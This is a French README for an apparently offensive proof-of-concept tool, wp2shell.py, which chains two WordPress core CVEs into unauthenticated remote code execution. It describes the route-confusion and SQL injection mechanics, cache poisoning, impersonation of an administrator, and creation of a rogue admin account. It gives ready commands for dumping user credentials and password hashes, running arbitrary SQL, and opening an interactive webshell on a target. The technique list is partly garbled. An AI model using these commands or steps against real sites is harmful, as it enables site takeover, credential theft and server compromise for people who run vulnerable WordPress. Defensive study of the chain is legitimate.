
CVE-2026-63030 & CVE-2026-60137 chaîne RCE preuve de concept
⚠ Cet outil est créé uniquement à des fins éducatives ou de bug bounty. Toute utilisation non autorisée en dehors d'environnements contrôlés est strictement interdite.
Preuve de concept pour la chaîne de vulnérabilités wp2shell affectant WordPress Core, combinant CVE-2026-63030 et CVE-2026-60137. Le projet démontre l'interaction entre la vulnérabilité de confusion de route de l'API REST Batch et une injection SQL dans WP_Query, aboutissant à un chemin non authentifié vers une compromission complète de WordPress et une exécution de code à distance (RCE).
Lire l'avis complet ici
wp2shell est une chaîne RCE de pré-authentification dans le cœur de WordPress, combinant CVE-2026-63030 (confusion de route dans le point de terminaison REST batch) et CVE-2026-60137 (injection SQL dans WP_Query).
La confusion de route : /wp-json/batch/v1 traite plusieurs sous-requêtes via des tableaux parallèles $matches et $validation indexés par position. Une sous-requête avec un chemin malformé (par exemple, http://:) est ajoutée à $validation mais pas à $matches en raison d'une instruction continue, désynchronisant les tableaux. Les requêtes suivantes sont distribuées sous le gestionnaire destiné à la requête suivante, contournant la validation du schéma et les vérifications de permissions.
L'injection SQL : Deux appels batch imbriqués exploitent cela. Le batch externe contourne la liste blanche des méthodes (bloquant normalement GET). Le batch interne transmet une chaîne scalaire author_exclude à GET /wp/v2/posts - la désynchronisation la fait passer au-delà de la validation, et WP_Query interpole la chaîne non assainie directement dans le SQL, produisant une injection aveugle basée sur UNION.
Empoisonnement du cache : L'injection SQL retourne des objets WP_Post falsifiés, que WordPress met en cache en mémoire. Ces faux articles contiennent des shortcodes [embed] qui amènent WordPress à créer de véritables lignes de base de données oembed_cache à partir des fausses références.
Escalade par changeset : En utilisant l'injection SQL, l'attaquant falsifie un article customize_changeset en mémoire avec "user_id": 1 dans son JSON. Un gadget de détection de cycle déclenche wp_update_post() sans écraser post_content, préservant la charge utile de l'attaquant. L'application du changeset assume temporairement l'identité de l'administrateur.
Réentrée par hook : Un article fabriqué avec le statut parse et le type request déclenche le hook parse_request, rejouant l'intégralité de la requête batch avec le rôle admin assumé. Cette fois, une sous-requête POST /wp/v2/users réussit, créant un nouveau compte admin.
Exécution de code : L'attaquant se connecte en tant qu'admin créé et télécharge un plugin malveillant pour exécuter des commandes arbitraires.
| Version | Statut |
|---|---|
| WordPress 6.9.0 – 6.9.4 | Vulnérable |
| WordPress 7.0.0 – 7.0.1 | Vulnérable |
| WordPress 6.9.5 | Corrigé |
| WordPress 7.0.2+ | Corrigé |
Pour utiliser ce PoC, la seule exigence est Python 3.8+.
Exécutez-le depuis le répertoire du dépôt pour effectuer une vérification de vulnérabilité :
wp2shell.py http://victim.com
Effectue une seule vérification de vulnérabilité. Envoie une sonde de marqueur batch bénigne qui détecte le bug de confusion de route sans exécuter de charges utiles SQLi. Une cible vulnérable retourne HTTP 207 avec le motif d'erreur parse_path_failed, block_cannot_read et rest_batch_not_allowed.
Utilisez --confirm-sqli pour envoyer également une charge utile de confirmation SQLi active. La confirmation essaie d'abord la réflexion UNION, puis se rabat sur des sondes basées sur le timing.
Vérifier une cible unique (mode par défaut)
wp2shell.py http://target.com
Vérifier avec mode explicite
Check with explicit mode
wp2shell.py http://target.com --check
Vérifier avec confirmation SQLi
wp2shell.py http://target.com --check --confirm-sqli
Extrait des données de la base de données en utilisant l'injection SQL de pré-authentification. Utilise par défaut --technique auto, qui essaie les méthodes disponibles dans cet ordre :
WP_Post via UNION et lit son titre depuis la réponse REST sous la forme ||HEX(value)||. Une requête par valeur. Le plus rapide.EXTRACTVALUE/UPDATEXML pour divulguer ~15 octets par requête. Fonctionne lorsque la cible reflète les erreurs MySQL (par exemple, WP_DEBUG_DISPLAY activé).X-WP-Total comme signal vrai/faux. Fonctionne même lorsqu'aucune donnée n'est reflétée.Forcez une technique spécifique avec --technique union|error|blind. Ces chemins de lecture sont en lecture seule et n'écrivent pas dans la base de données.
Empreinte du serveur (requête par défaut)
wp2shell.py http://target.com --read
Extraire les identifiants et hachages de mots de passe
wp2shell.py http://target.com --read --preset users
Requête SQL personnalisée
wp2shell.py http://target.com --read --query "SELECT @@version"
Forcer la technique blind
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
Extraire avec la technique basée sur les erreurs
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
Exécute des commandes sur le serveur cible. Fonctionne en deux modes :
Avec identifiants (se connecte en tant qu'admin existant et télécharge un shell plugin) :
Exécuter une commande spécifique
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
Shell interactif
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Without credentials (pre-auth RCE - runs the full SQLi→admin bridge, logs in as generated admin, then uploads plugin shell):
Exécuter une seule commande
wp2shell.py http://target.com --shell --cmd id
Shell interactif
wp2shell.py http://target.com --shell --interactive
Le webshell plugin est téléchargé avec un chemin aléatoire et un jeton par exécution. Le webshell téléchargé est supprimé automatiquement. Lorsque le pont de pré-authentification crée un administrateur, ce compte généré est supprimé automatiquement après la fin de la session shell.
Liste de tous les flags :
| Flag | Description |
|---|---|
--check | Exécuter la vérification de vulnérabilité (mode par défaut si aucun autre mode n'est spécifié) |
--read | Extraire des données via injection SQL |
--shell | Exécuter des commandes sur le serveur |
--query | Requête SQL personnalisée pour le mode read |
--preset | Préréglage de requête prédéfini (users, config, versions) |
--technique | Technique d'extraction SQLi : union, error, blind, ou auto (par défaut) |
--confirm-sqli | Envoyer une charge utile de confirmation SQLi après la vérification |
--cmd | Commande à exécuter en mode shell (par défaut : id) |
--interactive, -i | Mode shell interactif |
--user | Nom d'utilisateur admin pour le shell authentifié |
--password | Mot de passe admin pour le shell authentifié |
--proxy | Proxy HTTP/HTTPS (par exemple, http://127.0.0.1:8080) |
--timeout | Délai d'attente des requêtes en secondes (par défaut : 30) |
--verbose, -v | Sortie verbeuse |